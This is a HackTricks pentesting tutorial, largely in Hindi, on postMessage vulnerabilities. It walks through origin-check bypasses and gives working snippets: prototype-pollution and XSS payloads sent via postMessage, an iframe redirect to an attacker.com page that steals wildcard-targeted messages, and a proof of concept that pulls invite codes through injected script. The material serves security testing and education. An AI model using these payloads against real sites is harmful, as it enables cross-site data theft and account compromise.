PostMessage Vulnerabilities

PostMessage Vulnerabilities

HackTricks का समर्थन करें

Send PostMessage

PostMessage संदेश भेजने के लिए निम्नलिखित फ़ंक्शन का उपयोग करता है:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

ध्यान दें कि targetOrigin एक '*' या एक URL हो सकता है जैसे https://company.com. दूसरे परिदृश्य में, संदेश केवल उस डोमेन पर भेजा जा सकता है (भले ही विंडो ऑब्जेक्ट का मूल अलग हो). यदि wildcard का उपयोग किया जाता है, तो संदेश किसी भी डोमेन पर भेजे जा सकते हैं, और यह विंडो ऑब्जेक्ट के मूल पर भेजे जाएंगे।

Attacking iframe & wildcard in targetOrigin

जैसा कि इस रिपोर्ट में बताया गया है, यदि आप एक पृष्ठ पाते हैं जिसे iframed किया जा सकता है (कोई X-Frame-Header सुरक्षा नहीं) और जो संवेदनशील संदेश को postMessage के माध्यम से wildcard (*) का उपयोग करके भेज रहा है, तो आप iframe के origin को संशोधित कर सकते हैं और संवेदनशील संदेश को एक डोमेन पर लीक कर सकते हैं जिसे आप नियंत्रित करते हैं। ध्यान दें कि यदि पृष्ठ को iframed किया जा सकता है लेकिन targetOrigin एक URL पर सेट है और wildcard पर नहीं, तो यह चाल काम नहीं करेगी

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener शोषण

addEventListener वह फ़ंक्शन है जिसका उपयोग JS उस फ़ंक्शन को घोषित करने के लिए करता है जो postMessages की उम्मीद कर रहा है। इससे मिलती-जुलती कोड का उपयोग किया जाएगा:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

नोट करें कि इस मामले में कोड का पहला काम उत्पत्ति की जांच करना है। यह बहुत महत्वपूर्ण है, मुख्य रूप से यदि पृष्ठ प्राप्त जानकारी के साथ कोई संवेदनशील कार्य करने जा रहा है (जैसे पासवर्ड बदलना)। यदि यह उत्पत्ति की जांच नहीं करता है, तो हमलावर पीड़ितों को इस एंडपॉइंट्स पर मनमाना डेटा भेजने के लिए मजबूर कर सकते हैं और पीड़ितों के पासवर्ड बदल सकते हैं (इस उदाहरण में)।

Enumeration

वर्तमान पृष्ठ में इवेंट लिस्नर्स खोजने के लिए आप कर सकते हैं:

  • JS कोड में window.addEventListener और $(window).on (JQuery संस्करण) के लिए खोजें

  • डेवलपर टूल्स कंसोल में निष्पादित करें: getEventListeners(window)

  • ब्राउज़र के डेवलपर टूल्स में Elements --> Event Listeners पर जाएं

  • एक ब्राउज़र एक्सटेंशन का उपयोग करें जैसे https://github.com/benso-io/posta या https://github.com/fransr/postMessage-tracker। ये ब्राउज़र एक्सटेंशन सभी संदेशों को इंटरसेप्ट करेंगे और उन्हें आपको दिखाएंगे।

Origin check bypasses

  • event.isTrusted विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए True लौटाता है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांचों में महत्व उल्लेखनीय है।

  • indexOf() का उपयोग PostMessage घटनाओं में उत्पत्ति सत्यापन के लिए बायपास के प्रति संवेदनशील हो सकता है। इस भेद्यता को दर्शाने वाला एक उदाहरण है:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search() से search() विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() फ़ंक्शन, search() के समान, regex को संसाधित करता है। यदि regex ठीक से संरचित नहीं है, तो यह बायपास के प्रति संवेदनशील हो सकता है।

  • escapeHtml फ़ंक्शन इनपुट को स्वच्छ करने के लिए वर्णों को एस्केप करने के लिए है। हालाँकि, यह एक नया एस्केप किया गया ऑब्जेक्ट नहीं बनाता है बल्कि मौजूदा ऑब्जेक्ट की प्रॉपर्टीज़ को ओवरराइट करता है। इस व्यवहार का शोषण किया जा सकता है। विशेष रूप से, यदि एक ऑब्जेक्ट को इस तरह से हेरफेर किया जा सकता है कि इसकी नियंत्रित प्रॉपर्टी hasOwnProperty को मान्यता नहीं देती है, तो escapeHtml अपेक्षित रूप से कार्य नहीं करेगा। यह नीचे दिए गए उदाहरणों में प्रदर्शित किया गया है:

  • अपेक्षित विफलता:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • एस्केप को बायपास करना:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

इस भेद्यता के संदर्भ में, File ऑब्जेक्ट अपने पढ़ने के लिए केवल name प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, इसे escapeHtml फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।

  • JavaScript में document.domain प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक ढील दी जा सके।

e.origin == window.origin बायपास

जब %%%%%% का उपयोग करके एक सैंडबॉक्स्ड iframe के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति null पर सेट की जाएगी। यह सैंडबॉक्स विशेषताओं और उनकी सुरक्षा और कार्यक्षमता पर प्रभाव डालने के संदर्भ में विशेष रूप से महत्वपूर्ण है।

सैंडबॉक्स विशेषता में allow-popups निर्दिष्ट करने से, iframe के भीतर से खोला गया कोई भी पॉपअप विंडो अपने माता-पिता की सैंडबॉक्स प्रतिबंधों को विरासत में लेता है। इसका मतलब है कि जब तक allow-popups-to-escape-sandbox विशेषता भी शामिल नहीं की जाती, पॉपअप विंडो की उत्पत्ति भी null पर सेट होती है, जो iframe की उत्पत्ति के साथ मेल खाती है।

इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में postMessage का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों पक्षों की उत्पत्ति null पर सेट होती है। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां e.origin == window.origin सत्यापित होता है (null == null), क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान null है।

अधिक जानकारी के लिए पढ़ें:

Bypassing SOP with Iframes - 1

e.source को बायपास करना

यह जांचना संभव है कि क्या संदेश उसी विंडो से आया है जिसमें स्क्रिप्ट सुन रही है (विशेष रूप से ब्राउज़र एक्सटेंशनों से सामग्री स्क्रिप्ट्स के लिए यह जांचने के लिए कि क्या संदेश उसी पृष्ठ से भेजा गया था):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

आप e.source को null करने के लिए एक iframe बना सकते हैं जो postMessage भेजता है और तुरंत हटा दिया जाता है

अधिक जानकारी के लिए पढ़ें:

Bypassing SOP with Iframes - 2

X-Frame-Header बायपास

इन हमलों को करने के लिए, आदर्श रूप से आप शिकार वेब पृष्ठ को एक iframe के अंदर रख पाएंगे। लेकिन कुछ हेडर जैसे X-Frame-Header उस व्यवहार को रोक सकते हैं। उन परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

मुख्य पृष्ठ को ब्लॉक करके बच्चे को भेजे गए संदेश को चुराना

नीचे दिए गए पृष्ठ में आप देख सकते हैं कि आप कैसे संवेदनशील postmessage डेटा को बच्चे के iframe में चुराने के लिए मुख्य पृष्ठ को डेटा भेजने से पहले ब्लॉक कर सकते हैं और बच्चे में XSS का दुरुपयोग करके डेटा को लीक कर सकते हैं इससे पहले कि इसे प्राप्त किया जाए:

Blocking main page to steal postmessage

iframe स्थान को संशोधित करके संदेश चुराना

यदि आप बिना X-Frame-Header के एक वेबपृष्ठ को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे के iframe का स्थान बदल सकते हैं, इसलिए यदि यह एक postmessage प्राप्त कर रहा है जो wildcard का उपयोग करके भेजा गया है, तो एक हमलावर उस iframe का उत्पत्ति एक पृष्ठ में बदल सकता है जो उसके द्वारा नियंत्रित है और संदेश को चुरा सकता है:

Steal postmessage modifying iframe location

postMessage से प्रोटोटाइप प्रदूषण और/या XSS

उन परिदृश्यों में जहां postMessage के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित होता है, आप पृष्ठ को iframe कर सकते हैं और प्रोटोटाइप प्रदूषण/XSS का दुरुपयोग कर सकते हैं, जो कि postMessage के माध्यम से हमले को भेजता है।

कुछ बहुत अच्छे तरीके से समझाए गए XSS postMessage के माध्यम से https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html में पाए जा सकते हैं।

एक हमले का उदाहरण जो प्रोटोटाइप प्रदूषण और फिर XSS का दुरुपयोग करता है postMessage के माध्यम से एक iframe में:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

For अधिक जानकारी:

संदर्भ

HackTricks का समर्थन करें

Last updated